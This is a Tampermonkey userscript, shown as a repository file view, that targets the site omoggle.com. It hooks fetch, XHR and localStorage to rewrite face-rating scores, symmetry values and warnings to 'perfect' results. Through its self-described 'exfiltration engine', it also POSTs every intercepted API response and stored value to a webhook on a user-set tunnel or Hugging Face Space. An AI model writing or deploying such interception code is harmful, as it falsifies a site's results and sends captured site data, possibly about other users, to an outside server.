File size: 10,456 Bytes
3dbc7e7 e028748 3dbc7e7 24b27ca 3dbc7e7 24b27ca 3dbc7e7 24b27ca 3dbc7e7 271485c 3dbc7e7 271485c 3dbc7e7 271485c 3dbc7e7 271485c 3dbc7e7 271485c 3dbc7e7 271485c e028748 271485c e028748 271485c a93c0ba e028748 3dbc7e7 24b27ca 3dbc7e7 24b27ca 3dbc7e7 24b27ca 3dbc7e7 24b27ca 3dbc7e7 24b27ca 3dbc7e7 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 | // ==UserScript==
// @name Omoggle God Mode - GHOST PROTOCOL v4
// @namespace http://tampermonkey.net/
// @version 4.6
// @description Aggressive Network & Logic interceptor with Reliable UI
// @author Ghost
// @match *://*.omoggle.com/*
// @match *://omoggle.com/*
// @grant none
// @run-at document-start
// ==/UserScript==
(function() {
'use strict';
// --- SETTINGS & EXFILTRATION ---
let isActive = true;
const PERFECT_SCORE = 10.0;
const PERFECT_PERCENT = 99.9;
// Persist and prompt for Borepub/Webhook URL
const exfilUrl = localStorage.getItem('ghost_exfil_url') || '';
function logMsg(msg) {
const log = document.getElementById('ghost-log');
if(log) log.innerHTML = `<div>> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}</div>` + log.innerHTML;
console.log("[GHOST]", msg);
}
async function updateExfilUrl() {
let current = localStorage.getItem('ghost_exfil_url') || '';
let newUrl = prompt("Enter Server URL (Your HF Space or Bore tunnel URL):", current);
if (newUrl !== null) {
// Clean URL
newUrl = newUrl.replace(/\/$/, '');
if (!newUrl.startsWith('http')) newUrl = 'https://' + newUrl;
localStorage.setItem('ghost_exfil_url', newUrl);
logMsg("Target set: " + newUrl);
}
}
// --- UI CREATION ---
const container = document.createElement('div');
container.id = 'ghost-ui-wrapper';
container.innerHTML = `
<div id="ghost-ui" style="position:fixed; top:10px; right:10px; width:260px; background:rgba(10,10,15,0.98); border:1px solid #00f2ff; border-radius:8px; color:white; font-family:monospace; z-index:2147483647; padding:12px; box-shadow:0 0 30px rgba(0,242,255,0.2); font-size:11px; pointer-events: auto !important;">
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px; padding-bottom:10px; border-bottom:1px solid #222;">
<b style="color:#00f2ff; letter-spacing:1px; font-style:italic;">GHOST_V4.5</b>
<span id="ghost-indicator" style="width:8px; height:8px; background:#00ff88; border-radius:50%; box-shadow:0 0 10px #00ff88;"></span>
</div>
<div style="display:grid; grid-template-columns: 1fr 1fr; gap: 5px; margin-bottom: 10px;">
<button id="ghost-toggle" style="background:#111; color:#00ff88; border:1px solid #00ff88; border-radius:4px; padding:6px; cursor:pointer; font-size:9px; font-weight:bold;">BYPASS: ON</button>
<button id="ghost-exfil-btn" style="background:#111; color:#aaa; border:1px solid #333; border-radius:4px; padding:6px; cursor:pointer; font-size:9px;">SETUP_TARGET</button>
</div>
<div style="background:#000; border-radius:4px; padding:8px; margin-top:5px;">
<div style="margin-bottom:4px; color:#555;">STATUS: <span id="ghost-status" style="color:#00ff88;">INTERCEPTING</span></div>
<div id="ghost-log" style="height:100px; overflow-y:auto; color:#00ff88; opacity:0.8; font-size:9px; line-height:1.3; scrollbar-width: none;">[SYSTEM] Protocol engaged.</div>
</div>
</div>
`;
function injectUI() {
if (window.self !== window.top) return;
if (!document.getElementById('ghost-ui-wrapper')) {
if (!document.body) {
setTimeout(injectUI, 500);
return;
}
const wrapper = document.createElement('div');
wrapper.id = 'ghost-ui-wrapper';
wrapper.innerHTML = container.innerHTML;
document.body.appendChild(wrapper);
attachListeners(wrapper);
logMsg("GHOST_UI Protocol Engaged.");
}
}
function attachListeners(wrapper) {
const toggle = wrapper.querySelector('#ghost-toggle');
const exfil = wrapper.querySelector('#ghost-exfil-btn');
if (toggle) {
toggle.onclick = (e) => {
e.preventDefault();
isActive = !isActive;
const target = e.target;
const indicator = wrapper.querySelector('#ghost-indicator');
const status = wrapper.querySelector('#ghost-status');
target.innerText = isActive ? "BYPASS: ON" : "BYPASS: OFF";
target.style.color = isActive ? "#00ff88" : "#ff4444";
target.style.borderColor = isActive ? "#00ff88" : "#ff4444";
if(indicator) indicator.style.background = isActive ? "#00ff88" : "#ff4444";
if(status) {
status.innerText = isActive ? "ACTIVE_INTERCEPT" : "BYPASSED";
status.style.color = isActive ? "#00ff88" : "#ff4444";
}
logMsg(isActive ? "Protocol Resumed" : "System Standby");
};
}
if (exfil) {
exfil.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
updateExfilUrl();
};
}
}
if (document.readyState === 'complete') injectUI();
else window.addEventListener('load', injectUI);
setInterval(injectUI, 2000);
// --- BOREPUB EXFILTRATION ENGINE ---
async function exfiltrate(data, type) {
const targetUrl = localStorage.getItem('ghost_exfil_url');
if (!targetUrl || !isActive) return;
try {
let endpoint = targetUrl;
if (!endpoint.includes('/api/webhook')) {
endpoint = endpoint.replace(/\/$/, '') + '/api/webhook';
}
const res = await fetch(endpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
protocol: 'GHOST_v4.5',
timestamp: Date.now(),
type: type,
payload: data
})
});
const status = await res.json();
logMsg(`SYNC: ${type} -> OK`);
} catch(e) {
logMsg("SYNC_ERR: Check Server/Tunnel URL");
}
}
// --- DEEP DATA SCRUBBER ---
function scrubData(obj) {
if (!isActive || !obj || typeof obj !== 'object') return;
if (Array.isArray(obj)) {
obj.forEach(scrubData);
return;
}
const highKeys = ['userScore', 'user_score', 'overall', 'score', 'harmony', 'symmetry', 'reliability', 'confidence', 'scoringConfidence'];
for (let key in obj) {
if (highKeys.some(hk => key.toLowerCase() === hk.toLowerCase())) {
if (key.toLowerCase() === 'symmetry') obj[key] = PERFECT_PERCENT;
else if (obj[key] <= 1.0) obj[key] = 0.99;
else obj[key] = PERFECT_SCORE;
}
if (key === 'fatalFlaw' || key === 'fatal_flaw') obj[key] = "none";
if (key === 'faceStatus') obj[key] = "perfect";
if (key === 'scoringWarnings' || key === 'warnings') {
if(Array.isArray(obj[key])) obj[key] = [];
}
if (key === 'statsJson' || key === 'stats_json') {
if (typeof obj[key] === 'string') {
try {
let parsed = JSON.parse(obj[key]);
scrubData(parsed);
obj[key] = JSON.stringify(parsed);
} catch(e){}
} else {
scrubData(obj[key]);
}
}
if (typeof obj[key] === 'object') scrubData(obj[key]);
}
}
// --- NETWORK INTERCEPTION (FETCH) ---
const originalFetch = window.fetch;
window.fetch = async (...args) => {
const url = args[0].toString();
const response = await originalFetch(...args);
if (isActive && (url.includes('/api/lab') || url.includes('stats') || url.includes('report'))) {
return response.clone().json().then(data => {
logMsg("Caught API: " + url.split('/').pop().split('?')[0]);
scrubData(data);
// Exfiltrate the actual report/stats to our tunnel
exfiltrate(data, 'api_intercept');
return new Response(JSON.stringify(data), {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
}).catch(() => response);
}
return response;
};
// --- NETWORK INTERCEPTION (XHR) ---
const originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
if (isActive) {
this.addEventListener('readystatechange', function() {
if (this.readyState === 4 && (url.includes('/api/lab') || url.includes('stats'))) {
try {
let originalData = JSON.parse(this.responseText);
scrubData(originalData);
// Overwrite responses
Object.defineProperty(this, 'responseText', { value: JSON.stringify(originalData) });
Object.defineProperty(this, 'response', { value: JSON.stringify(originalData) });
logMsg("Scrubbed XHR data stream");
exfiltrate(originalData, 'xhr_intercept');
} catch (e) {}
}
});
}
return originalOpen.apply(this, arguments);
};
// --- STORAGE INTERCEPTION ---
const originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
if (isActive && (key.includes('stats') || key.includes('match') || key.includes('report'))) {
try {
let data = JSON.parse(value);
scrubData(data);
value = JSON.stringify(data);
logMsg("Cleaned storage: " + key);
exfiltrate(data, 'storage_clean');
} catch(e){}
}
originalSetItem.apply(this, [key, value]);
};
})();
|